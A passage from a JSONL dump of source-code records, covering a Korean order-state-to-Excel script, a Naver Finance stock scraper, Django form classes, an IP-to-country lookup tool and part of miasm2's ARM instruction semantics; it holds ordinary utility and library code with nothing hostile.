'상품옵션'\n ws.cell(row=1, column=5).value = '브리치 주문상태'\n ws.cell(row=1, column=6).value = '브리치 클레임상태'\n ws.cell(row=1, column=7).value = '채널 상태'\n ws.cell(row=1, column=8).value = '채널명'\n\n # 비플로우 결제취소 / 채널상태 취소요청 , 취소중 , 반품완료 => 불필요\n # 비플로우 교환 / 채널상태 배송중, 교환요청 , 구매결정완료 => 불필요\n # 비플로우 반품 / 채널상태 반품보류 , 반품요청 = > 불필요\n # 비플로우 배송준비 / 채널 상태 배송지연 / 발송예정 = > 불필요\n # 비플로우 배송지연 / 채널상태 배송지연 / 발송예정 = > 불필요\n if state == '교환수거완료' \\\n or state == '교환수거중' \\\n or state == '교환완료' \\\n or state == '배송중' \\\n or state == '교환요청' \\\n or state == '구매결정완료' \\\n and orderState == '교환':\n print('skip')\n continue\n elif state == '반품수거완료' \\\n or state == '반품수거중' \\\n or state == '반품완료' \\\n or state == '반품보류' \\\n or state == '반품요청' \\\n and orderState == '반품':\n print('skip')\n continue\n elif state == '입금확인' \\\n or state == '주문확인' \\\n or state == '배송지연/발송예정' \\\n and orderState == '배송준비' \\\n or orderState == '결제확인':\n print('skip')\n continue\n elif state == '취소완료' \\\n or state == '환불완료' \\\n or state == '취소요청' \\\n or state == '취소중' \\\n or state == '반품완료' \\\n and orderState == '결제취소':\n print('skip')\n continue\n elif state == '배송중' and orderState == '출고완료' or orderState == '배송중':\n print('skip')\n continue\n elif state == '주문확인' or state == '배송지연/발송예정' and orderState == '배송지연':\n print('skip')\n continue\n elif state == '배송완료' or state == '구매결정완료' and orderState == '배송완료':\n print('skip')\n continue\n elif state == '미입금��매취소':\n print('skip')\n continue\n elif state == '입금대기':\n print('skip')\n continue\n elif state == '판매자송금':\n print('skip')\n continue\n elif state == '환불예정' and orderState == '결제취소':\n print('skip')\n continue\n elif state == '반품보류' or state == '미수취신고':\n ws.cell(row=no, column=1).value = productOrderNumber\n ws.cell(row=no, column=2).value = channelOrderNumber\n ws.cell(row=no, column=3).value = productName\n ws.cell(row=no, column=4).value = productOption\n ws.cell(row=no, column=5).value = claim_state\n ws.cell(row=no, column=6).value = orderState\n ws.cell(row=no, column=7).value = state\n ws.cell(row=no, column=8).value = channel\n no += 1\n else:\n ws.cell(row=no, column=1).value = productOrderNumber\n ws.cell(row=no, column=2).value = channelOrderNumber\n ws.cell(row=no, column=3).value = productName\n ws.cell(row=no, column=4).value = productOption\n ws.cell(row=no, column=5).value = claim_state\n ws.cell(row=no, column=6).value = orderState\n ws.cell(row=no, column=7).value = state\n ws.cell(row=no, column=8).value = channel\n no += 1\n else:\n pass\nresult = config.ST_LOGIN['excelPath'] + 'ebayOrderResult_' + totalNow + \"_\" + now + '.xlsx'\nwb.save(result)\nwb.close()\nprint(result)\ncursor.close()\ndb.close()\ndriver.quit()\ndisplay.stop()\n","sub_path":"11stCancel.py","file_name":"11stCancel.py","file_ext":"py","file_size_in_byte":22194,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"} +{"seq_id":"125522316","text":"# -*- coding: utf-8 -*- \nimport pandas as pd\nfrom bs4 import BeautifulSoup\nimport requests\nimport re\n\n\nclass StockService():\n\n def __init__(self):\n self.stock_code = None\n\n def new_model(self):\n print(f'ENTER STEP 1 : new_model ')\n stock_code = pd.read_html('http://kind.krx.co.kr/corpgeneral/corpList.do?method=download&searchType=13',\n header=0)[0]\n stock_code.종목코드=stock_code.종목코드.map('{:06d}'.format)\n stock_code=stock_code[['회사명','종목코드']]\n\n stock_code=stock_code.rename(columns={'회사명':'company','종목코드':'code'})\n #stock_code.to_csv('/Users/YoungWoo/stock_crawl/company.csv', index=False, encoding='UTF-8')\n #code_df.head()\n self.stock_code = stock_code\n\n\n def serach_stock(self,companyname):\n result=[]\n \n stock_code = self.stock_code\n plusUrl = companyname.upper()\n plusUrl = stock_code[stock_code.company==plusUrl].code.values[0].strip()\n #print(plusUrl)\n \n def refine_price(text):\n price=int(text.replace(\",\",\"\"))\n return price\n #print(type(price))\n\n for i in range(1,90):\n url='https://finance.naver.com/item/sise_day.nhn?code='+str(plusUrl)+'&page={}'.format(i)\n response=requests.get(url)\n text=response.text\n html=BeautifulSoup(text,'html.parser')\n table0=html.find_all(\"tr\",{\"onmouseover\":\"mouseOver(this)\"})\n #print(url)\n for tr in table0:\n date= tr.find_all('td')[0].text\n \n temp=[] \n \n for idx,td in enumerate(tr.find_all('td')[1:]):\n if idx==1:\n try:\n #print(td.find()['alt'])\n temp.append(td.find()['alt'])\n except: \n temp.append('')\n \n price=refine_price(td.text)\n #print(price)\n temp.append(price)\n \n #print([date]+temp)\n result.append([date]+temp)\n #print(result)\n\n df_temp=pd.DataFrame(result,columns=['date','close','up/down','pastday','open','high','low','volume']) #'날짜','종가','상승/하락','전일대비','시가','고가','저가','거래량'\n #df_temp\n df_temp.drop(['up/down', 'pastday'], axis='columns', inplace=True)\n df_temp['stock']=plusUrl\n return df_temp\n\n\nservice = StockService()\nservice.new_model\ndf_result = service.serach_stock('lg이노텍')\nprint(df_result.head())\n","sub_path":"com_stock_api/naver_finance/service.py","file_name":"service.py","file_ext":"py","file_size_in_byte":2699,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"} +{"seq_id":"167139876","text":"from django.forms import Form, ModelForm, fields\nfrom django.forms.utils import ErrorList\n\nfrom mcod import settings\nfrom mcod.lib.forms.fields import AnyChoiceField\n\n\nclass McodForm(Form):\n def __init__(self, data=None, files=None, auto_id='id_%s', prefix=None,\n initial=None, error_class=ErrorList, label_suffix=None,\n empty_permitted=False, field_order=None, use_required_attribute=None, renderer=None, **kwargs):\n self._params = kwargs\n super().__init__(\n data=data, files=files, auto_id=auto_id, prefix=prefix,\n initial=initial, error_class=error_class, label_suffix=label_suffix,\n empty_permitted=empty_permitted, field_order=field_order, use_required_attribute=use_required_attribute,\n renderer=renderer\n )\n\n\nclass McodModelForm(ModelForm):\n def __init__(self, data=None, files=None, auto_id='id_%s', prefix=None,\n initial=None, error_class=ErrorList, label_suffix=None,\n empty_permitted=False, field_order=None, use_required_attribute=None, renderer=None, **kwargs):\n self._params = kwargs\n super().__init__(\n data=data, files=files, auto_id=auto_id, prefix=prefix,\n initial=initial, error_class=error_class, label_suffix=label_suffix,\n empty_permitted=empty_permitted, field_order=field_order, use_required_attribute=use_required_attribute,\n renderer=renderer\n )\n\n\nclass PaginationForm(McodForm):\n page = fields.IntegerField(min_value=1, required=False)\n per_page = fields.IntegerField(min_value=0, max_value=settings.PER_PAGE_LIMIT, required=False)\n\n def clean_page(self):\n return self.cleaned_data.get('page') or 1\n\n def clean_per_page(self):\n return self.cleaned_data.get('per_page') or settings.PER_PAGE_DEFAULT\n\n\nclass SearchForm(PaginationForm):\n query = fields.CharField(required=False)\n filter = AnyChoiceField(required=False)\n sort = AnyChoiceField(required=False)\n\n def __init__(self, **kwargs):\n super().__init__(**kwargs)\n # self.doc =\n if 'doc' in self._params:\n self.fields['filter'].choices = [('a', 'b'), ('c', 'd')]\n self.fields['sort'].choices = [('a', 'a'), ('s', 's')]\n\n # def clean(self):\n # super\n\n # def clean_filter(self):\n # if 'filter' in self.cleaned_data:\n # if not isinstance(self.cleaned_data['filter'], list):\n # self.cleaned_data['filter'] = list(self.cleaned_data['filter'])\n #\n # def clean_sort(self):\n # if 'sort' in self.cleaned_data:\n # if not isinstance(self.cleaned_data['sort'], list):\n # self.cleaned_data['sort'] = list(self.cleaned_data['sort'])\n","sub_path":"mcod/lib/forms/forms.py","file_name":"forms.py","file_ext":"py","file_size_in_byte":2764,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"} +{"seq_id":"287298192","text":"#!/usr/bin/env python\nfrom getopt import getopt\nfrom glob import glob\nfrom os import chdir\nfrom sys import argv\n\n\ndef ip_to_int(ip):\n a, b, c, d = ip.split('.')\n return (int(a) << 24) + (int(b) << 16) + (int(c) << 8) + int(d)\n\n\ndef int_to_ip(i):\n a = (i & 0xFF000000) >> 24\n b = (i & 0x00FF0000) >> 16\n c = (i & 0x0000FF00) >> 8\n d = (i & 0x000000FF)\n return \"%s.%s.%s.%s\" % (a, b, c, d)\n\n\ndef split_cidr(cidr):\n \"\"\"\n In: CIDR notation, for example \"192.168.0.0/24\".\n Out: List of two integers.\n \"\"\"\n\n network, bits = cidr.split('/')\n return [ip_to_int(network), int(bits)]\n\n\ndef find_matching_network(ip_int):\n \"\"\"\n Applies a shifting mask to the IP supplied and verifies\n if it presents in the hash `all_zones_data`. It must be\n filled beforehand.\n \"\"\"\n for i in range(1, 31):\n try:\n network_mask = (ip_int & 0xFFFFFFFF << i)\n bits, country_code = all_zones_data[network_mask]\n return [int_to_ip(network_mask) + '/' + str(bits), country_code]\n except KeyError:\n continue\n return None\n\n\n# Analyze command line arguments.\noptlist, args = getopt(argv[1:], 'o:')\nif len(args) == 0:\n print()\n print(\"Usage: %s [-o json] input_file\" % argv[0])\n print(\"Where input_file contains IPv4 addresses, one per line.\")\n exit(1)\n\ninput_file = args[0]\noutput_as = 'text'\nfor o, v in optlist:\n if o == '-o' and v == 'json':\n output_as = v\n\nall_zones_data = {}\n\n# Read zone files into a hash.\nchdir('./zones')\nzone_files = glob('*.zone')\nfor zf in zone_files:\n cc, _ = zf.split('.')\n country_code = cc.upper()\n\n with open(zf, 'r') as f:\n for line in f:\n network, bits = split_cidr(line.rstrip())\n mask = 0xFFFFFFFF << (32 - bits)\n masked_network = network & mask\n all_zones_data[masked_network] = [bits, country_code]\nchdir('..')\n\noutput = {}\n\n# Read the log file and populate `output` hash.\nwith open(input_file, 'r') as log_file:\n for line in log_file:\n ip_str = line.rstrip()\n ip_int = ip_to_int(ip_str)\n\n try:\n network, country_code = find_matching_network(ip_int)\n output[ip_str] = [network, country_code]\n except TypeError:\n output[ip_str] = [None, None]\n\n# Output the result.\nif output_as == 'json':\n import json\n print(json.dumps(output))\nelif output_as == 'text':\n for ip, v in output.items():\n network, country_code = v\n print(ip.ljust(20, ' ') + network.ljust(20, ' ') + country_code)\n","sub_path":"locate_ip.py","file_name":"locate_ip.py","file_ext":"py","file_size_in_byte":2566,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"} +{"seq_id":"152404136","text":"from miasm2.expression.expression import *\nfrom miasm2.ir.ir import ir, irbloc\nfrom miasm2.arch.arm.arch import mn_arm, mn_armt\nfrom miasm2.arch.arm.regs import *\n\n\n# liris.cnrs.fr/~mmrissa/lib/exe/fetch.php?media=armv7-a-r-manual.pdf\n\nEXCEPT_PRIV_INSN = (1 << 17)\n\n# CPSR: N Z C V\n\n\ndef update_flag_zf(a):\n return [ExprAff(zf, ExprCond(a, ExprInt1(0), ExprInt1(1)))]\n\n\ndef update_flag_nf(a):\n return [ExprAff(nf, a.msb())]\n\n\ndef update_flag_zn(a):\n e = []\n e += update_flag_zf(a)\n e += update_flag_nf(a)\n return e\n\n\ndef update_flag_logic(a):\n e = []\n e += update_flag_zn(a)\n # XXX TODO: set cf if ROT imm in argument\n #e.append(ExprAff(cf, ExprInt1(0)))\n return e\n\n\ndef update_flag_arith(a):\n e = []\n e += update_flag_zn(a)\n return e\n\n\ndef check_ops_msb(a, b, c):\n if not a or not b or not c or a != b or a != c:\n raise ValueError('bad ops size %s %s %s' % (a, b, c))\n\n\ndef arith_flag(a, b, c):\n a_s, b_s, c_s = a.size, b.size, c.size\n check_ops_msb(a_s, b_s, c_s)\n a_s, b_s, c_s = a.msb(), b.msb(), c.msb()\n return a_s, b_s, c_s\n\n# checked: ok for adc add because b & c before +cf\n\ndef update_flag_add_cf(op1, op2, res):\n \"Compute cf in @res = @op1 + @op2\"\n return ExprAff(cf, (((op1 ^ op2) ^ res) ^ ((op1 ^ res) & (~(op1 ^ op2)))).msb())\n\n\ndef update_flag_add_of(op1, op2, res):\n \"Compute of in @res = @op1 + @op2\"\n return ExprAff(of, (((op1 ^ res) & (~(op1 ^ op2)))).msb())\n\n\n# checked: ok for sbb add because b & c before +cf\ndef update_flag_sub_cf(op1, op2, res):\n \"Compote CF in @res = @op1 - @op2\"\n return ExprAff(cf,\n ((((op1 ^ op2) ^ res) ^ ((op1 ^ res) & (op1 ^ op2))).msb()) ^ ExprInt1(1))\n\n\ndef update_flag_sub_of(op1, op2, res):\n \"Compote OF in @res = @op1 - @op2\"\n return ExprAff(of, (((op1 ^ res) & (op1 ^ op2))).msb())\n\n# z = x+y (+cf?)\n\n\ndef update_flag_add(x, y, z):\n e = []\n e.append(update_flag_add_cf(x, y, z))\n e.append(update_flag_add_of(x, y, z))\n return e\n\n# z = x-y (+cf?)\n\n\ndef update_flag_sub(x, y, z):\n e = []\n e.append(update_flag_sub_cf(x, y, z))\n e.append(update_flag_sub_of(x, y, z))\n return e\n\n\ndef get_dst(a):\n if a == PC:\n return PC\n return None\n\n# instruction definition ##############\n\n\ndef adc(ir, instr, a, b, c=None):\n e = []\n if c is None:\n b, c = a, b\n r = b + c + cf.zeroExtend(32)\n if instr.name == 'ADCS' and a != PC:\n e += update_flag_arith(r)\n e += update_flag_add(b, c, r)\n e.append(ExprAff(a, r))\n dst = get_dst(a)\n if dst is not None:\n e.append(ExprAff(ir.IRDst, r))\n return e\n\n\ndef add(ir, instr, a, b, c=None):\n e = []\n if c is None:\n b, c = a, b\n r = b + c\n if instr.name == 'ADDS' and a != PC:\n e += update_flag_arith(r)\n e += update_flag_add(b, c, r)\n e.append(ExprAff(a, r))\n dst = get_dst(a)\n if dst is not None:\n e.append(ExprAff(ir.IRDst, r))\n return e\n\n\ndef l_and(ir, instr, a, b, c=None):\n e = []\n if c is None:\n b, c = a, b\n r = b & c\n if instr.name == 'ANDS' and a != PC:\n e += update_flag_logic(r)\n e.append(ExprAff(a, r))\n dst = get_dst(a)\n if dst is not None:\n e.append(ExprAff(ir.IRDst, r))\n return e\n\n\ndef sub(ir, instr, a, b, c=None):\n e = []\n if c is None:\n b, c = a, b\n r = b - c\n e.append(ExprAff(a, r))\n dst = get_dst(a)\n if dst is not None:\n e.append(ExprAff(ir.IRDst, r))\n return e\n\n\ndef subs(ir, instr, a, b, c=None):\n e = []\n if c is None:\n b, c = a, b\n r = b - c\n e += update_flag_arith(r)\n e += update_flag_sub(b, c, r)\n e.append(ExprAff(a, r))\n dst = get_dst(a)\n if dst is not None:\n e.append(ExprAff(ir.IRDst, r))\n return e\n\n\ndef eor(ir, instr, a, b, c=None):\n e = []\n if c is None:\n b, c = a, b\n r = b ^ c\n e.append(ExprAff(a, r))\n dst = get_dst(a)\n if dst is not None:\n e.append(ExprAff(ir.IRDst, r))\n return e\n\n\ndef eors(ir, instr, a, b, c=None):\n e = []\n if c is None:\n b, c = a, b\n r = b ^ c\n e += update_flag_logic(r)\n e.append(ExprAff(a, r))\n dst = get_dst(a)\n if dst is not None:\n e.append(ExprAff(ir.IRDst, r))\n return e\n\n\ndef rsb(ir, instr, a, b, c=None):\n e = []\n if c is None:\n b, c = a, b\n r = c - b\n e.append(ExprAff(a, r))\n dst = get_dst(a)\n if dst is not None:\n e.append(ExprAff(ir.IRDst, r))\n return e\n\n\ndef rsbs(ir, instr, a, b, c=None):\n e = []\n if c is None:\n b, c = a, b\n r = c - b\n e += update_flag_arith(r)\n e += update_flag_sub(c, b, r)\n e.append(ExprAff(a, r))\n dst = get_dst(a)\n if dst is not None:\n e.append(ExprAff(ir.IRDst, r))\n return e\n\n\ndef sbc(ir, instr, a, b, c=None):\n e = []\n if c is None:\n b, c = a, b\n r = (b + cf.zeroExtend(32)) - (c + ExprInt32(1))\n e.append(ExprAff(a, r))\n dst = get_dst(a)\n if dst is not None:\n e.append(ExprAff(ir.IRDst, r))\n return e\n\n\ndef sbcs(ir, instr, a, b, c=None):\n e = []\n if c is None:\n b, c = a, b\n r = (b + cf.zeroExtend(32)) - (c + ExprInt32(1))\n e += update_flag_arith(r)\n e += update_flag_sub(b, c, r)\n e.append(ExprAff(a, r))\n dst = get_dst(a)\n if dst is not None:\n e.append(ExprAff(ir.IRDst, r))\n return e\n\n\ndef rsc(ir, instr, a, b, c=None):\n e = []\n if c is None:\n b, c = a, b\n r = (c + cf.zeroExtend(32)) - (b + ExprInt32(1))\n e.append(ExprAff(a, r))\n dst = get_dst(a)\n if dst is not None:\n e.append(ExprAff(ir.IRDst, r))\n return e\n\n\ndef rscs(ir, instr, a, b, c=None):\n e = []\n if c is None:\n b, c = a, b\n r = (c + cf.zeroExtend(32)) - (b + ExprInt32(1))\n e.append(ExprAff(a, r))\n e += update_flag_arith(r)\n e += update_flag_sub(c, b, r)\n e.append(ExprAff(a, r))\n dst = get_dst(a)\n if dst is not None:\n e.append(ExprAff(ir.IRDst, r))\n return e\n\n\ndef tst(ir, instr, a, b, c=None):\n e = []\n if c is None:\n b, c = a, b\n r = b & c\n e += update_flag_logic(r)\n return e\n\n\ndef teq(ir, instr, a, b, c=None):\n e = []\n if c is None:\n b, c = a, b\n r = b ^ c\n e += update_flag_logic(r)\n return e\n\n\ndef l_cmp(ir, instr, a, b, c=None):\n e = []\n if c is None:\n b, c = a, b\n r = b - c\n e += update_flag_arith(r)\n e += update_flag_sub(b, c, r)\n return e\n\n\ndef cmn(ir, instr, a, b, c=None):\n e = []\n if c is None:\n b, c = a, b\n r = b + c\n e += update_flag_arith(r)\n e += update_flag_add(b, c, r)\n return e\n\n\ndef orr(ir, instr, a, b, c=None):\n e = []\n if c is None:\n b, c = a, b\n r = b | c\n e.append(ExprAff(a, r))\n dst = get_dst(a)\n if dst is not None:\n e.append(ExprAff(ir.IRDst, r))\n return e\n\n\ndef orrs(ir, instr, a, b, c=None):\n e = []\n if c is None:\n b, c = a, b\n r = b | c\n e += update_flag_logic(r)\n e.append(ExprAff(a, r))\n dst = get_dst(a)\n if dst is not None:\n e.append(ExprAff(ir.IRDst, r))\n return e\n\n\ndef mov(ir, instr, a, b):\n e = [ExprAff(a, b)]\n dst = get_dst(a)\n if dst is not None:\n e.append(ExprAff(ir.IRDst, b))\n return e\n\n\ndef movt(ir, instr, a, b):\n r = a | b << ExprInt32(16)\n e = [ExprAff(a, r)]\n dst = get_dst(a)\n if dst is not None:\n e.append(ExprAff(ir.IRDst, r))\n return e\n\n\ndef movs(ir, instr, a, b):\n e = []\n e.append(ExprAff(a, b))\n # XXX TODO check\n e += update_flag_logic(b)\n dst = get_dst(a)\n if dst is not None:\n e.append(ExprAff(ir.IRDst, b))\n return e\n\n\ndef mvn(ir, instr, a, b):\n r = b ^ ExprInt32(-1)\n e = [ExprAff(a, r)]\n dst = get_dst(a)\n if dst is not None:\n e.append(ExprAff(ir.IRDst, r))\n return e\n\n\ndef mvns(ir, instr, a, b):\n e = []\n r = b ^ ExprInt32(-1)\n e.append(ExprAff(a, r))\n # XXX TODO check\n e += update_flag_logic(r)\n dst = get_dst(a)\n if dst is not None:\n e.append(ExprAff(ir.IRDst, r))\n return e\n\n\ndef neg(ir, instr, a, b):\n e = []\n r = - b\n e.append(ExprAff(a, r))\n dst = get_dst(a)\n if dst is not None:\n e.append(ExprAff(ir.IRDst, r))\n return e\n\ndef negs(ir, instr, a, b):\n e = subs(ir, instr, a, ExprInt_from(b, 0), b)\n return e\n\ndef bic(ir, instr, a, b, c=None):\n e = []\n if c is None:\n b, c = a, b\n r = b & (c ^ ExprInt(uint32(-1)))\n e.append(ExprAff(a, r))\n dst = get_dst(a)\n if dst is not None:\n e.append(ExprAff(ir.IRDst, r))\n return e\n\n\ndef bics(ir, instr, a, b, c=None):\n e = []\n if c is None:\n b, c = a, b\n r = b & (c ^ ExprInt(uint32(-1)))\n e += update_flag_logic(r)\n e.append(ExprAff(a, r))\n dst = get_dst(a)\n if dst is not None:\n e.append(ExprAff(ir.IRDst, r))\n return e\n\n\ndef mla(ir, instr, a, b, c, d):\n e = []\n r = (b * c) + d\n e.append(ExprAff(a, r))\n dst = get_dst(a)\n if dst is not None:\n e.append(ExprAff(ir.IRDst, r))\n return e\n\n\ndef mlas(ir, instr, a, b, c, d):\n e = []\n r = (b * c) + d\n e += update_flag_zn(r)\n e.append(ExprAff(a, r))\n dst = get_dst(a)\n if dst is not None:\n e.append(ExprAff(ir.IRDst, r))\n return e\n\n\ndef mul(ir, instr, a, b, c = None):\n e = []\n if c is None:\n b, c = a, b\n r = b * c\n e.append(ExprAff(a, r))\n dst = get_dst(a)\n if dst is not None:\n e.append(ExprAff(ir.IRDst, r))\n return e\n\n\ndef muls(ir, instr, a, b, c = None):\n e = []\n if c is None:\n b, c = a, b\n r = b * c\n e += update_flag_zn(r)\n e.append(ExprAff(a, r))\n dst = get_dst(a)\n if dst is not None:\n e.append(ExprAff(ir.IRDst, r))\n return e\n\n\ndef b(ir, instr, a):\n e = []\n e.append(ExprAff(PC, a))\n e.append(ExprAff(ir.IRDst, a))\n return e\n\n\ndef bl(ir, instr, a):\n e = []\n l = ExprInt32(instr.offset + instr.l)\n e.append(ExprAff(PC, a))\n e.append(ExprAff(ir.IRDst, a))\n e.append(ExprAff(LR, l))\n return e\n\n\ndef bx(ir, instr, a):\n e = []\n e.append(ExprAff(PC, a))\n e.append(ExprAff(ir.IRDst, a))\n return e\n\n\ndef blx(ir, instr, a):\n e = []\n l = ExprInt32(instr.offset + instr.l)\n e.append(ExprAff(PC, a))\n e.append(ExprAff(ir.IRDst, a))\n e.append(ExprAff(LR, l))\n return e\n\n\ndef st_ld_r(ir, instr, a, b, store=False, size=32, s_ext=False, z_ext=False):\n e = []\n wb = False\n b = b.copy()\n postinc = False\n b = b.arg\n if isinstance(b, ExprOp):\n if b.op == \"wback\":\n wb = True\n b = b.args[0]\n if b.op == \"postinc\":\n postinc = True\n if isinstance(b, ExprOp) and b.op in [\"postinc\", 'preinc']:\n # XXX TODO CHECK\n base, off = b.args[0], b.args[1] # ExprInt32(size/8)\n else:\n base, off = b, ExprInt32(0)\n # print a, wb, base, off, postinc\n if postinc:\n ad = base\n else:\n ad = base + off\n\n dmem = False\n if size in [8, 16]:\n if store:\n a = a[:size]\n m = ExprMem(ad, size=size)\n elif s_ext:\n m = ExprMem(ad, size=size).signExtend(a.size)\n elif z_ext:\n m = ExprMem(ad, size=size).zeroExtend(a.size)\n else:\n raise ValueError('unhandled case')\n elif size == 32:\n m = ExprMem(ad, size=size)\n pass\n elif size == 64:\n m = ExprMem(ad, size=32)\n dmem = True\n a2 = ir.arch.regs.all_regs_ids[ir.arch.regs.all_regs_ids.index(a) + 1]\n size = 32\n else:\n raise ValueError('the size DOES matter')\n dst = None\n\n if store:\n e.append(ExprAff(m, a))\n if dmem:\n e.append(ExprAff(ExprMem(ad + ExprInt32(4), size=size), a2))\n else:\n if a == PC:\n dst = PC\n e.append(ExprAff(ir.IRDst, m))\n e.append(ExprAff(a, m))\n if dmem:\n e.append(ExprAff(a2, ExprMem(ad + ExprInt32(4), size=size)))\n\n # XXX TODO check multiple write cause by wb\n if wb or postinc:\n e.append(ExprAff(base, base + off))\n return e\n\n\ndef ldr(ir, instr, a, b):\n return st_ld_r(ir, instr, a, b, store=False)\n\n\ndef ldrd(ir, instr, a, b):\n e = st_ld_r(ir, instr, a, b, store=False, size=64)\n return e\n\n\ndef l_str(ir, instr, a, b):\n return st_ld_r(ir, instr, a, b, store=True)\n\n\ndef l_strd(ir, instr, a, b):\n e = st_ld_r(ir, instr, a, b, store=True, size=64)\n return e\n\n\ndef ldrb(ir, instr, a, b):\n e = st_ld_r(ir, instr, a, b, store=False, size=8, z_ext=True)\n return e\n\ndef ldrsb(ir, instr, a, b):\n e = st_ld_r(\n ir, instr, a, b, store=False, size=8, s_ext=True, z_ext=False)\n return e\n\ndef strb(ir, instr, a, b):\n e = st_ld_r(ir, instr, a, b, store=True, size=8)\n return e\n\n\ndef ldrh(ir, instr, a, b):\n e = st_ld_r(ir, instr, a, b, store=False, size=16, z_ext=True)\n return e\n\n\ndef strh(ir, instr, a, b):\n e = st_ld_r(ir, instr, a, b, store=True, size=16, z_ext=True)\n return e\n\n\ndef ldrsh(ir, instr, a, b):\n e = st_ld_r(\n ir, instr, a, b, store=False, size=16, s_ext=True, z_ext=False)\n return e\n\n\ndef st_ld_m(ir, instr, a, b, store=False, postinc=False, updown=False):\n e = []\n wb = False\n # sb = False\n dst = None\n if isinstance(a, ExprOp) and a.op == 'wback':\n wb = True\n a = a.args[0]\n if isinstance(b, ExprOp) and b.op == 'sbit':\n # sb = True\n b = b.args[0]\n regs = b.args\n base = a\n if updown:\n step = 4\n else:\n step = -4\n regs = regs[::-1]\n if postinc:\n pass\n else:\n base += ExprInt32(step)\n for i, r in enumerate(regs):\n ad = base + ExprInt32(i * step)\n if store:\n e.append(ExprAff(ExprMem(ad), r))\n else:\n e.append(ExprAff(r, ExprMem(ad)))\n if r == PC:\n e.append(ExprAff(ir.IRDst, ExprMem(ad)))\n # XXX TODO check multiple write cause by wb\n if wb:\n if postinc:\n e.append(ExprAff(a, base + ExprInt32(len(regs) * step)))\n else:\n e.append(ExprAff(a, base + ExprInt32((len(regs) - 1) * step)))\n if store:\n pass\n else:\n assert(isinstance(b, ExprOp) and b.op == \"reglist\")\n\n return e\n\n\ndef ldmia(ir, instr, a, b):\n return st_ld_m(ir, instr, a, b, store=False, postinc=True, updown=True)\n\n\ndef ldmib(ir, instr, a, b):\n return st_ld_m(ir, instr, a, b, store=False, postinc=False, updown=True)\n\n\ndef ldmda(ir, instr, a, b):\n return st_ld_m(ir, instr, a, b, store=False, postinc=True, updown=False)\n\n\ndef ldmdb(ir, instr, a, b):\n return st_ld_m(ir, instr, a, b, store=False, postinc=False, updown=False)\n\n\ndef stmia(ir, instr, a, b):\n return st_ld_m(ir, instr, a, b, store=True, postinc=True, updown=True)\n\n\ndef stmib(ir, instr, a, b):\n return st_ld_m(ir, instr, a, b, store=True, postinc=False, updown=True)\n\n\ndef stmda(ir, instr, a, b):\n return st_ld_m(ir, instr, a, b, store=True, postinc=True, updown=False)\n\n\ndef stmdb(ir, instr, a, b):\n return st_ld_m(ir, instr, a, b, store=True, postinc=False, updown=False)\n\n\ndef svc(ir, instr, a):\n # XXX TODO implement\n e = [\n ExprAff(exception_flags, ExprInt32(EXCEPT_PRIV_INSN))]\n return e\n\n\ndef und(ir, instr, a, b):\n # XXX TODO implement\n e = []\n return e\n\n# TODO XXX implement correct CF for shifters\ndef lsr(ir, instr, a, b, c = None):\n e = []\n if c is None:\n b, c = a, b\n r = b >> c\n e.append(ExprAff(a, r))\n dst = get_dst(a)\n if dst is not None:\n e.append(ExprAff(ir.IRDst, r))\n return e\n\n\ndef lsrs(ir, instr, a, b, c = None):\n e = []\n if c is None:\n b, c = a, b\n r = b >> c\n e.append(ExprAff(a, r))\n e += update_flag_logic(r)\n dst = get_dst(a)\n if dst is not None:\n e.append(ExprAff(ir.IRDst, r))\n return e\n\ndef asr(ir, instr, a, b, c=None):\n e = []\n if c is None:\n b, c = a, b\n r = ExprOp(\"a>>\", b, c)\n e.append(ExprAff(a, r))\n dst = get_dst(a)\n if dst is not None:\n e.append(ExprAff(ir.IRDst, r))\n return e\n\ndef asrs(ir, instr, a, b, c):\n e = []\n if c is None:\n b, c = a, b\n r = ExprOp(\"a>>\", b, c)\n e.append(ExprAff(a, r))\n e += update_flag_logic(r)\n dst = get_dst(a)\n if dst is not None:\n e.append(ExprAff(ir.IRDst, r))\n return e\n\ndef lsl(ir, instr, a, b, c = None):\n e = []\n if c is None:\n b, c = a, b\n r = b << c\n e.append(ExprAff(a, r))\n dst = get_dst(a)\n if dst is not None:\n e.append(ExprAff(ir.IRDst, r))\n return e\n\n\ndef lsls(ir, instr, a, b, c = None):\n e = []\n if c is None:\n b, c = a, b\n r = b << c\n e.append(ExprAff(a, r))\n e += update_flag_logic(r)\n dst = get_dst(a)\n if dst is not None:\n e.append(ExprAff(ir.IRDst, r))\n return e\n\n\ndef push(ir, instr, a):\n e = []\n regs = list(a.args)\n for i in xrange(len(regs)):\n r = SP + ExprInt32(-4 * (i + 1))\n e.append(ExprAff(regs[i], ExprMem(r)))\n r = SP + ExprInt32(-4 * len(regs))\n e.append(ExprAff(SP, r))\n return e\n\n\ndef pop(ir, instr, a):\n e = []\n regs = list(a.args)\n dst = None\n for i in xrange(len(regs)):\n r = SP + ExprInt32(4 * i)\n e.append(ExprAff(regs[i], ExprMem(r)))\n if regs[i] == ir.pc:\n dst = ExprMem(r)\n r = SP + ExprInt32(4 * len(regs))\n e.append(ExprAff(SP, r))\n if dst is not None:\n e.append(ExprAff(ir.IRDst, dst))\n return e\n\n\ndef cbz(ir, instr, a, b):\n e = []\n lbl_next = ExprId(ir.get_next_label(instr), 32)\n e.append(ExprAff(ir.IRDst, ExprCond(a, lbl_next, b)))\n return e\n\n\ndef cbnz(ir, instr, a, b):\n e = []\n lbl_next = ExprId(ir.get_next_label(instr), 32)\n e.append(ir.IRDst, ExprCond(a, b, lbl_next))\n return e\n\n\n\ndef uxtb(ir, instr, a, b):\n e = []\n r = b[:8].zeroExtend(32)\n e.append(ExprAff(a, r))\n dst = None\n if PC in a.get_r():\n dst = PC\n e.append(ExprAff(ir.IRDst, r))\n return e\n\ndef uxth(ir, instr, a, b):\n e = []\n r = b[:16].zeroExtend(32)\n e.append(ExprAff(a, r))\n dst = None\n if PC in a.get_r():\n dst = PC\n e.append(ExprAff(ir.IRDst, r))\n return e\n\ndef sxtb(ir, instr, a, b):\n e = []\n r = b[:8].signExtend(32)\n e.append(ExprAff(a, r))\n dst = None\n if PC in a.get_r():\n dst = PC\n e.append(ExprAff(ir.IRDst, r))\n return e\n\ndef sxth(ir, instr, a, b):\n e = []\n r = b[:16].signExtend(32)\n e.append(ExprAff(a, r))\n dst = None\n if PC in a.get_r():\n dst = PC\n 